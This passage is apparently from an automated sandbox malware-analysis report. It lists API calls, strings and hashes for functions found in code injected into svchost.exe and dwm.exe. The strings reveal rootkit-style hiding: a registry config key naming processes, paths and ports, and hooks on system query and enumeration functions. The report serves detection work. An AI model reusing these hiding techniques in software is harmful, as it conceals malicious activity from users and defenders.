Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 73069449200712f0ed9716194b398ac1fb7d2be99278163e9f3c6fe5041c0d1b
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 23E08671600F44D4DF028F61E4501D873E1E758B54F889122D94C1A311EA3CD1E5C300

Function 00000195DD5C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1C2D
HeapAlloc.KERNEL32 ref: 00000195DD5C1C3B
GetProcessHeap.KERNEL32 ref: 00000195DD5C1C77
HeapFree.KERNEL32 ref: 00000195DD5C1C85

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: c6ff0b059641438406dd073903249133c4bef50443ea073ae8eca436ca04cd8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 96115135612F4881EB56DBEAE4146A977E2FB89FC0F184024DE4DA7B65DF38C452D340

Function 00000195DD5C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
HeapAlloc.KERNEL32 ref: 00000195DD5C127D
GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

Memory Dump Source

Source File: 00000020.00000002.3592825778.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 2cb59b5cb5821d9a8e55ce1da8b0343498eb188679990e79d0fc3b99dd601316
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 63E09235601A0886EB058FE2D82838A36E2FB8DF06F04C024C90907751DF7D84DAC760

Analysis Process: dwm.exePID: 992, Parent PID: 3876COMMON

Executed Functions

Function 000001160CA91628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA91633
HeapAlloc.KERNEL32 ref: 000001160CA91642

Part of subcall function 000001160CA91268: GetProcessHeap.KERNEL32 ref: 000001160CA9126E
Part of subcall function 000001160CA91268: HeapAlloc.KERNEL32 ref: 000001160CA9127D
Part of subcall function 000001160CA91268: GetProcessHeap.KERNEL32 ref: 000001160CA91297
Part of subcall function 000001160CA91268: HeapAlloc.KERNEL32 ref: 000001160CA912A8

RegOpenKeyExW.ADVAPI32 ref: 000001160CA916B2
RegOpenKeyExW.ADVAPI32 ref: 000001160CA916DF
RegCloseKey.ADVAPI32 ref: 000001160CA916F9
RegOpenKeyExW.ADVAPI32 ref: 000001160CA91719
RegCloseKey.ADVAPI32 ref: 000001160CA91734
RegOpenKeyExW.ADVAPI32 ref: 000001160CA91754
RegCloseKey.ADVAPI32 ref: 000001160CA9176F
RegOpenKeyExW.ADVAPI32 ref: 000001160CA9178F
RegCloseKey.ADVAPI32 ref: 000001160CA917AA
RegOpenKeyExW.ADVAPI32 ref: 000001160CA917CA
RegCloseKey.ADVAPI32 ref: 000001160CA917E5
RegOpenKeyExW.ADVAPI32 ref: 000001160CA91805
RegCloseKey.ADVAPI32 ref: 000001160CA91820
RegOpenKeyExW.ADVAPI32 ref: 000001160CA91840
RegCloseKey.ADVAPI32 ref: 000001160CA9185B
RegOpenKeyExW.ADVAPI32 ref: 000001160CA9187B
RegCloseKey.ADVAPI32 ref: 000001160CA91896
RegCloseKey.ADVAPI32 ref: 000001160CA918A0

Part of subcall function 000001160CA912BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA91319
Part of subcall function 000001160CA912BC: GetProcessHeap.KERNEL32 ref: 000001160CA91327
Part of subcall function 000001160CA912BC: HeapAlloc.KERNEL32 ref: 000001160CA91338
Part of subcall function 000001160CA912BC: RegEnumValueW.ADVAPI32 ref: 000001160CA91397
Part of subcall function 000001160CA912BC: GetProcessHeap.KERNEL32 ref: 000001160CA913DF
Part of subcall function 000001160CA912BC: HeapAlloc.KERNEL32 ref: 000001160CA913ED
Part of subcall function 000001160CA912BC: GetProcessHeap.KERNEL32 ref: 000001160CA9140A
Part of subcall function 000001160CA912BC: HeapFree.KERNEL32 ref: 000001160CA91418
Part of subcall function 000001160CA912BC: lstrlenW.KERNEL32 ref: 000001160CA91421
Part of subcall function 000001160CA912BC: GetProcessHeap.KERNEL32 ref: 000001160CA9142F
Part of subcall function 000001160CA912BC: HeapAlloc.KERNEL32 ref: 000001160CA9143D

Strings

tcp_local, xrefs: 000001160CA917FE
SOFTWARE\dialerconfig, xrefs: 000001160CA91692
pid, xrefs: 000001160CA91712
paths, xrefs: 000001160CA91788
tcp_remote, xrefs: 000001160CA91839
startup, xrefs: 000001160CA916D5
udp, xrefs: 000001160CA91874
service_names, xrefs: 000001160CA917C3
process_names, xrefs: 000001160CA9174D

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 9b98193f4abecebd3cedc8816dec431a1792c86c15235ed78f17ee962988c809
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 94712476710B1186EB54AF66E8816DD23A4FB88B88F455161FF4E43B6CEF3AC484C740

Function 000001160CA93790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA9379E
GetCurrentProcess.KERNEL32 ref: 000001160CA937CC
VirtualProtectEx.KERNEL32 ref: 000001160CA937EE
GetCurrentProcess.KERNEL32 ref: 000001160CA93809
VirtualProtectEx.KERNEL32 ref: 000001160CA9382A

Strings

wr, xrefs: 000001160CA937FF

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 033178934247518acb5e229b4bd71b0cdb11f550452f7048632aef5a9a5fdda0
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 30113039705B4182EF589B11E4082E96670F788B85F484065EF9907768EF3EC585C704

Function 000001160CA95B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA95B6B
GetThreadContext.KERNEL32 ref: 000001160CA95CD5

Part of subcall function 000001160CA95960: GetCurrentThreadId.KERNEL32 ref: 000001160CA95964

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction ID: 434fcb51119e4ac6e2baff75b907716165c9b00fc297fbffb68bc511ace73766
Opcode Fuzzy Hash: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction Fuzzy Hash: D1D18936619B8882DA759B06E4953DA77A0F3CCB84F100256EF8D47BA9DF3EC591CB40

Function 000001160CA950D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA95156

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction ID: b5b57bb7076149ec6ec15b0b9582e6043a88fc9cac1626ef523c62cec37fb6bc
Opcode Fuzzy Hash: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction Fuzzy Hash: FD02D732619B8486EBA5CB55F49139AB7A1F3C8784F100155FB8E87BA9DF7EC494CB00

Function 000001160CA939E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001160CA93A66
VirtualAlloc.KERNEL32 ref: 000001160CA93AA0

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 955432155c5f211c1e188f8270860852f4b459ac956c4d442d1652e3f9e2d060
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: E331E13121AB8885EE789B15E0563DEA6A0F38C784F100565BBCD46BADDF7FC5C08B04

Function 000001160CA9328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001160CA932AE
PathFindFileNameW.SHLWAPI ref: 000001160CA932BD

Part of subcall function 000001160CA93844: StrCmpNIW.SHLWAPI ref: 000001160CA9385C

Part of subcall function 000001160CA93790: GetModuleHandleW.KERNEL32 ref: 000001160CA9379E
Part of subcall function 000001160CA93790: GetCurrentProcess.KERNEL32 ref: 000001160CA937CC
Part of subcall function 000001160CA93790: VirtualProtectEx.KERNEL32 ref: 000001160CA937EE
Part of subcall function 000001160CA93790: GetCurrentProcess.KERNEL32 ref: 000001160CA93809
Part of subcall function 000001160CA93790: VirtualProtectEx.KERNEL32 ref: 000001160CA9382A

CreateThread.KERNEL32 ref: 000001160CA9330B

Part of subcall function 000001160CA91D14: GetCurrentThread.KERNEL32 ref: 000001160CA91D1F

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: bf4817d5ecb573b1d4f3c3f5aa86b87a322d7626be9ec505051981a4af069143
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 0F11AD7061130182FF6C9B21F84A3DA22A4E78C305F4082A5BF16815BDEF7BC0C48600

Function 000001160CA94DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001160CA94DF4
VirtualProtect.KERNEL32 ref: 000001160CA94E37
FlushInstructionCache.KERNEL32 ref: 000001160CA94E4C

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction ID: 426f4314be6fc704dbd3c5c2a2ece3cab1f133022c7238dccab5964de4d016be
Opcode Fuzzy Hash: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction Fuzzy Hash: 14F0B736228B0480D635DB05E4927DAABA0E3CCBD4F144155BF8D47B6ECA3EC6D18B50

Function 000001160CA6273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001160CA627DB
LoadLibraryA.KERNELBASE ref: 000001160CA6285E

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 824515c9e048ad3417e9658daf70cb1266b7946d3fb066eb8b17d7491906e60f
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 26610373B01B9087DB58CF5994007EDB3A2F798BA4F588625EF5A0778CDA39D892C700

Function 000001160CA91ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001160CA91628: GetProcessHeap.KERNEL32 ref: 000001160CA91633
Part of subcall function 000001160CA91628: HeapAlloc.KERNEL32 ref: 000001160CA91642
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA916B2
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA916DF
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA916F9
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA91719
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA91734
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA91754
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA9176F
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA9178F
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA917AA
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA917CA

Sleep.KERNEL32 ref: 000001160CA91AD7
SleepEx.KERNEL32 ref: 000001160CA91ADD

Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA917E5
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA91805
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA91820
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA91840
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA9185B
Part of subcall function 000001160CA91628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA9187B
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA91896
Part of subcall function 000001160CA91628: RegCloseKey.ADVAPI32 ref: 000001160CA918A0

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 9881012fa553c27446f3d689fbb38d33500f0266a2bf9d8669fbc936a1160e45
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: E531DF7120074641FF5DAB26DA423ED63A5EB8DBC4F0459A1BF09876AEFE27C8D1C211

Non-executed Functions

Function 000001160CA92B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001160CA92BD0
lstrlenW.KERNEL32 ref: 000001160CA92E0A

Part of subcall function 000001160CA9199C: OpenProcess.KERNEL32 ref: 000001160CA919C2
Part of subcall function 000001160CA9199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA919E0
Part of subcall function 000001160CA9199C: PathFindFileNameW.SHLWAPI ref: 000001160CA919EF
Part of subcall function 000001160CA9199C: lstrlenW.KERNEL32 ref: 000001160CA919FB
Part of subcall function 000001160CA9199C: StrCpyW.SHLWAPI ref: 000001160CA91A0E
Part of subcall function 000001160CA9199C: CloseHandle.KERNEL32 ref: 000001160CA91A1C

GetProcAddress.KERNEL32 ref: 000001160CA92BE5

Part of subcall function 000001160CA9152C: StrCmpIW.SHLWAPI ref: 000001160CA9155D

Part of subcall function 000001160CA93844: StrCmpNIW.SHLWAPI ref: 000001160CA9385C

StrCmpNIW.SHLWAPI ref: 000001160CA92C28
lstrlenW.KERNEL32 ref: 000001160CA92D50

Strings

NtQueryObject, xrefs: 000001160CA92BDB
ntdll.dll, xrefs: 000001160CA92BC9
\Device\Nsi, xrefs: 000001160CA92C1B

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: ba0cfe49bb5a227ef72f8b779e404880ff7a11271dfa9d0e2275a6e4cd538248
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 04B16972211B9096EB6C8F25D4827E967A5FB49B84F445296FF09937A8EB37CCC0C740

Function 000001160CA97D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001160CA97DAC
RtlCaptureContext.NTDLL ref: 000001160CA97DD9
RtlLookupFunctionEntry.NTDLL ref: 000001160CA97DF3
RtlVirtualUnwind.NTDLL ref: 000001160CA97E34
IsDebuggerPresent.KERNEL32 ref: 000001160CA97E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA97EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA97EB4

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 3f34dc0b64f25b586abfce6f138ac04a50128005e3cc8ae63f7b2b4d37e676ef
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 77316272215B808AEB649F60E8417ED7374F788744F44446AEF4D97B98EF3AC688CB10

Function 000001160CA9D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001160CA9D31D
RtlLookupFunctionEntry.NTDLL ref: 000001160CA9D335
RtlVirtualUnwind.NTDLL ref: 000001160CA9D370
IsDebuggerPresent.KERNEL32 ref: 000001160CA9D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA9D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA9D3BE

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 55553a78a1b27a825a8efe9be9c969825aa231a8d9ea9b2d7f20ec6e85906b0d
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 12315B32614B8086EB648F25E8413EE73A4F789758F540166FF9D43BA8DF3AC586CB00

Function 000001160CA912BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA91319
GetProcessHeap.KERNEL32 ref: 000001160CA91327
HeapAlloc.KERNEL32 ref: 000001160CA91338
RegEnumValueW.ADVAPI32 ref: 000001160CA91397

Part of subcall function 000001160CA9152C: StrCmpIW.SHLWAPI ref: 000001160CA9155D

GetProcessHeap.KERNEL32 ref: 000001160CA913DF
HeapAlloc.KERNEL32 ref: 000001160CA913ED
GetProcessHeap.KERNEL32 ref: 000001160CA9140A
HeapFree.KERNEL32 ref: 000001160CA91418
lstrlenW.KERNEL32 ref: 000001160CA91421
GetProcessHeap.KERNEL32 ref: 000001160CA9142F
HeapAlloc.KERNEL32 ref: 000001160CA9143D
StrCpyW.SHLWAPI ref: 000001160CA9145F
GetProcessHeap.KERNEL32 ref: 000001160CA91476
HeapFree.KERNEL32 ref: 000001160CA91484

Strings

d, xrefs: 000001160CA9135A

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 162b9db3af3e4f0b3a78029389c8c0e2efeab852aa306eb9b8286a8110c41f8a
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 13512A76200B8586EB58CF62E5483DAB7A1F7CDB99F484124EF4A07758DF3AC0858B00

Function 000001160CA91D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001160CA91D1F

Part of subcall function 000001160CA91FD4: GetModuleHandleA.KERNEL32 ref: 000001160CA91FEC
Part of subcall function 000001160CA91FD4: GetProcAddress.KERNEL32 ref: 000001160CA91FFD

Part of subcall function 000001160CA95B30: GetCurrentThreadId.KERNEL32 ref: 000001160CA95B6B

Strings

NtResumeThread, xrefs: 000001160CA91D62
EnumServicesStatusExW, xrefs: 000001160CA91E11, 000001160CA91E32
NtQuerySystemInformation, xrefs: 000001160CA91D45
EnumServiceGroupW, xrefs: 000001160CA91DF0
NtDeviceIoControlFile, xrefs: 000001160CA91E56
sechost.dll, xrefs: 000001160CA91E39
NtEnumerateValueKey, xrefs: 000001160CA91DD6
advapi32.dll, xrefs: 000001160CA91DF7, 000001160CA91E18
NtQueryDirectoryFileEx, xrefs: 000001160CA91D9C
NtEnumerateKey, xrefs: 000001160CA91DB9
ntdll.dll, xrefs: 000001160CA91D2D
NtQueryDirectoryFile, xrefs: 000001160CA91D7F

Memory Dump Source

Source File: 00000021.00000002.3636901438.000001160CA90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca90000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9c8e68ec56521c736e69b0c90525e1edec2e7508071d60ba112b0ced23c1d8aa
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: DE317178500B4AA0EA0DEB65E8527D86360F78D344FC05693BF4A5296EDF3B86C9C350

Function 000001160CA66910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CA66938
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CA6698A
_RTC_Initialize.LIBCMT ref: 000001160CA669B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CA669DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CA66A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001160CA669EE
`dynamic initializer for ', xrefs: 000001160CA669C7
scriptor', xrefs: 000001160CA66B39, 000001160CA66BB2, 000001160CA66BEC
`eh vector copy constructor iterator', xrefs: 000001160CA66A3B

Memory Dump Source

Source File: 00000021.00000002.3636838436.000001160CA60000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_1160ca60000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a3fe409731fb70234742a26c748ae4f8614f4a10b95ebe228a936564dbb7576c
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2981DC31710B458AFB5CAB6D98413D963A0EB9DB84F5485A5BF098379EDB3BC8C98700

Function 000001160CA9CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001160CA9CE37
FlsGetValue.KERNEL32(?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CE4C
FlsSetValue.KERNEL32(?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CE6D
FlsSetValue.KERNEL32(?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CE9A
FlsSetValue.KERNEL32(?,?,?,000001160CAA0A6B,?,?,?,000001160CAA045C,?,?,?,000001160CA9C84F), ref: 000001160CA9CEAB
